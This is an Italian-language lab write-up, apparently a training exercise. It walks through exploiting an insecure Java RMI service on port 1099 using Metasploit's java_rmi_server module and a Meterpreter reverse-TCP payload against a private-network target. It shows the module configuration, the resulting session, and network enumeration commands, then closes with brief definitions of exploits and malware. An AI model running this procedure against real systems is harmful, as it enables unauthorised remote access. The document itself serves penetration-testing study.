

Abbiamo iniziato sfruttando un exploit di Java RMI, una vulnerabilità rilevata sulla porta 1099. Questa fase ci ha permesso di avviare il processo di penetrazione

```
msf6 > search java rmi registry

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/gather/java_rmi_registry         normal         No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server         2011-10-15     excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/misc/java_rmi_server
```

Successivamente, abbiamo configurato l'exploit, fornendo l'indirizzo IP della macchina target. Questo passo è cruciale per dirigere l'attacco verso la macchina desiderata

```
Name      Current Setting  Required  Description
-----
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes            The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099           yes       The target port (TCP)
SRVHOST   0.0.0.0        yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080           yes       The local port to listen on.
SSL        false          no        Negotiate SSL for incoming connections
SSLCert   no             Path to a custom SSL certificate (default is randomly generated)
URIPATH   no             The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
-----
Name      Current Setting  Required  Description
-----
LHOST     192.168.1.8     yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:
-----
Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
```

Con l'ottenimento della sessione Meterpreter, abbiamo raccolto dettagli sulla configurazione di rete della macchina target

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.7
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe71:2138
IPv6 Netmask : ::
```

Infine, abbiamo esaminato la tabella di routing della macchina vittima.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
netstat -rn
Kernel IP routing table
Destination    Gateway         Genmask         Flags         MSS Window  irtt  Iface
192.168.1.0    0.0.0.0         255.255.255.0   U              0  0           0  eth0
0.0.0.0        192.168.1.1     0.0.0.0         UG             0  0           0  eth0
```

Cos'è un exploit? Gli exploits sono strumenti software progettati per sfruttare vulnerabilità specifiche e ottenere accesso non autorizzato o causare malfunzionamenti nei sistemi. Nel nostro caso, abbiamo sfruttato un exploit di Java RMI.

Servizio sfruttato: La vulnerabilità era associata a Java RMI, un meccanismo di comunicazione remota per applicazioni Java, sulla porta 1099. Una configurazione non sicura può rendere questo servizio una via d'accesso per attacchi.

Differenza tra exploit e malware. Gli exploits sono strumenti specifici per sfruttare debolezze già presenti in un sistema, mentre il malware è un software dannoso progettato per causare danni o compromettere lo stesso.